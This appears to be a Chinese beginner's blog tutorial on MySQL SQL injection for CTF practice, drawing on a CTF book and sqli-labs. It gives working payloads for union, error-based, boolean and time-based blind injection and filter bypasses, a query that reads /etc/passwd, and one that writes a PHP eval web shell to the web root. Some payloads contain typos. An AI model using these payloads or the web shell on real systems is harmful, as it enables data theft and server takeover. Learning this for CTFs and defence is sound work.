web初探

day1 SQL注入攻击

前言:初入web的小白,望各位师傅们轻点喷,不足之处还请师傅们指教!
常用语句及知识:

在这里插入图片描述
mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

#sql
查库:select schema_name from information_schema.schemata limit 1,1
查表:select table_name from information_schema.tables where table_schema=库名 limit 1,1  //limit1,1表示查询第一行,limit2,1表示第二行
查列:select column_name from information_schema.columns where table_name=表名 and table_schema=库名  limit 1,1 //不指定库表示默认为当前库
查内容:select 字段名 from 库名.表名
select username from test.users
当前用户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
读文件:select load_file('/etc/passwd')
写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过
注释方法:
sql
/**/--+#、;%00、union /*!select*/(mysql独有)
union操作符用于合并两个或多个select语句的结果集。
union内部的select语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须相同。
常用函数:
#sql
截取字符串:substr('abc',1,1)substring('abc',1,1)left('abc',1)right('abc',1)mid('abc',1,1)
字符串拼接:concat('a','b','c')concat_ws(' ','a','b','c')
多行拼接:group_concat //eg: select group_concat(user) from mysql.user
什么是SQL注入?

开发人员在开发过程中,直接将URL中的参数、HTTPBody中的Post参数或其他外来的用户输入(如Cookies,UserAgen等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。

SQL注入的分类:
1)可回显的注入
联合查询注入

联合查询一般会将数据库查询的数据回显到页面中,如下例子(取自CTF特训营)

<?php
...
$_GET['id'];
$getid = "SELECT ID FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>'.mysql_error().'</pre>');
$num = mysql_numrows($result);
...

上方SQL语句中的$id变量,该变量会将GET获取到的参数直接拼接到SQL语句中,假如此时传入如下参数:

?id=-1'union+select+1+--+

拼接后SQL语句就变成了:

SELECT Id FROM users WHERE user_id'-1'union select 1-- '

闭合前面的单引号,注释掉后面的单引号,中间写上需要的Payload就可以了。传递参数的时候用到了“+”号,而查询语句中并没有出现这个加号,这是因为服务器在处理用户输入的时候已经自动将加号转义为空格符了。
使用联合查询进行回显注入时一般需要绕过某些特定字符或者是特定单词(比如,空格或者select、and、or等字符串)。


```php
联合注入
1.构造闭合
2.判断字段数,order by 1-10如果34无表示只有3个字段
3.union select 1,2,加上面语句 字段数和前面相同
绕过空格
#sql
%20%09%0a、%0b、%0c、%0d、%a0、%00/**//*!select*/()--%0a(可以1-256都跑一遍)
其中%09需要php环境,%0a为\n  /!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1
select from union select绕过
sql
select-1,user from mysql.user
select@1,user from mysql.user
select~1,user from mysql.user
select`user`,user from mysql.user
select(1),user from mysql.user
select'1',user from mysql.user
select+1,user from mysql.user


select 1,1e2from mysql.user
select 1,.9from mysql.user
select 1``from mysql.user
select 1''from mysql.user
select 1'123'from mysql.user
select '1'''from mysql.user
select 1""from mysql.user
select "1"""from mysql.user


select 1 from mysql.user where user=.1union select 1
select 1 from mysql.user where user=1e1union select 1
select 1 union--%0aselect 2
select 1 union--%0e%0aselect 2
select 1 union all select 2
报错注入
闭合 and updatexml(1,concat(0x7e,(语句),0x7e),1)#
盲注
闭合 and ascii(substr((语句),1,1))=0-127 # 0-127表示遍历  substr表示字符串截取,ascii表示截取的字符换为ascii码

1.updatexml
updatexml的报错原理从本质上来说就是函数的报错,如下:

mysql>SELECT updatexml(1,concat(0x7e,(SELECT version()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error:'-5.6.26-'
mysql>
updatexml报错回显示例

这里使用前面的例子,写一个爆破数据库版本的样例Payload:

?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

其他功能Payload参照floor的使用方法来修改。

2.floor
简单来说floor报错的原理是rand,order by和group by的冲突,如下应用方法:

爆破数据库版本信息
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limt 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)%23
爆破当前用户
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limt 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)%23
爆破当前使用的数据库
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limt 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)%23
爆破指定表的字段(以表名为emails举例说明)
?id=1' +and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)%23

这里采用十六进制编码后的表名,非十六进制编码表名需要添加引号,但这个时候可能会出现单引号导致的报错。
以上Payload可以在sqli-labs的level1中复现。
3.exp
exp函数报错,本质原因是溢出报错,可以在MySQL进行如下操作:

mysql>select exp(~(select * from (select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>

Payload为:

?id=1' and exp(~(select * from (select user())x))%23
通过注入进行DNS请求,从而达到可回显的目的
2)不可回显的注入
Bool盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,为真是返回access,为假时返回fales;或者为真时返回正常页面,为假时跳转到错误页面等。
常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2(该Payload应在怀疑是整型注入的情况下使用)
Bool盲注的原理是如果题目后端拼接了SQL语句,and 1=1为真时不会影响执行结果,但是and 1=2为假,页面则可能会没有正常的回显。
有时候我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤。
在字符串型注入的时候我们还需要绕过单引号,将Payload修改为如下格式’and '1‘=‘1和’or’
常用函数
1.截取函数

substr()
substr 函数是字符串截取函数,在盲注中我们一般逐位获取数据,这时候就需要使用substr 函数按位截取。使用方法:substr(str,star,length)。这里的str为被截取的字符串,start 为开始截取的位置,length为截取的长度。在盲注时,我们一般只截取一位,如substr(user(),1,1),这样可以从user函数返回数据的第一位开始的偏移位置截取一位,之后我们只要修改位置参数即可获取其他的数据
left()
left 函数是左截取函数,left的用法为left(str,length)。这里的str是被截取的字符串,length为被截取的长度。在盲注中可以使用left(user(),1)来左截取一位字符。但是,如果是left(user(),2),则会将user()的前两位都截取出来,这样的话,我们需要在匹配输出的字符串之前增加前缀,把之前几次的结果添加到这次的结果之前,使用样例如下:
假设user()函数返回的字符串是“admin”,那么select a from b where left(a,1) = 'a'
会返回真,在探测第二位的时候,需要把第一位添加到当前探测位之前,比如:select a from b where left(a,2) = "ad'
以此类推,直到读取到全部内容为止
right()
right函数是右截取函数。使用方法与left函数类似,可以参考left函数的用法

2.转换函数

ascii()
ascii函数的作用是将字符串转换为ASCII码,这样我们就可以避免在Payload中出现单引号。使用方法为ascii(char),这里的char为一个字符,在盲注中一般为单个字母。如果char为一串字符串,则返回结果将是第一个字母的ASCII码。我们在使用中通常与substr函数相结合,如asci(substr(user(),1,1),这样可以获得 user()的第一位字符的ASCII
hex()
Hex函数可以将字符串的值转换为十六进制的值。在ascii函数被禁止时,或者是需要将二进制数据写人文件时可以使用该函数,使用方法类似于ascii函数

3.比较函数

if()
if 函数是盲注中经常使用的函数,if函数的作用与1=11=2的原理类似。如果我们要盲注的对象为假,则可以通过if的返回结果对页面进行控制。使用方法为if(cond,Ture_result,False_result)
其中,cond为判断条件,Ture_result为真时的返回结果,False_result为假时的返回结果。使用样例如下:
?id=1 and 1=if( ascii(substr(user(),1,1))=97,1,2)
如果user的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and 后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果
时间盲注

时间盲注类似于Bool盲注,只是验证阶段有所不同,时间盲注是根据页面响应的时间来判断结果。
一般来说,时间盲注函数常用的函数有sleep()和benchmark()两个

sleep()
sleep是睡眠函数,可以使查询数据时回显数据的响应时间加长。使用方法如 sleep(N),这里的N为睡眠的时间。
使用时可以配合if进行使用。如:
if(ascii(substr(user(),1,1 )=114,sleep(5.2)
这样的话,如果user的第一位是‘r',则页面返回将延迟5秒。这里需要注意的是,这5秒是在服
务器端的数据库中延迟的,实际情况可能由干网终环境等因素延迟更长时间

benchmark()
benchmark函数原本是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。使用方法如下:
benchmark(N, expression)
其中,N为执行的次数,expression为表达式。如果需要进行盲注,我们通常需要进行消耗时间和性能的计算,比如哈希计算函数MD5(),将MD5函数重复执行数万次则可以达到延迟的效果,而具
法的情况需要根据不同比赛的服务器性能及网络情况来决定

limit之后的注入
在MySOL版本号大干5.00且小干5.6.6的时候,在如下位置中可以进行注人:SELECT field FROM table WBERE id > 0 ORDER BY id LIMIT {injection_point}
也可以使用如下的 Payload进行注入:
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue (rand(),concat ( 0x3a, version())),1);
注入点的位置及发现

这里附上两篇对此介绍比较详细的文章链接
冰河技术公众号
TalkActor

文章参考资料《CTF特训营》、黑伞攻防实验室的技术博客

  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值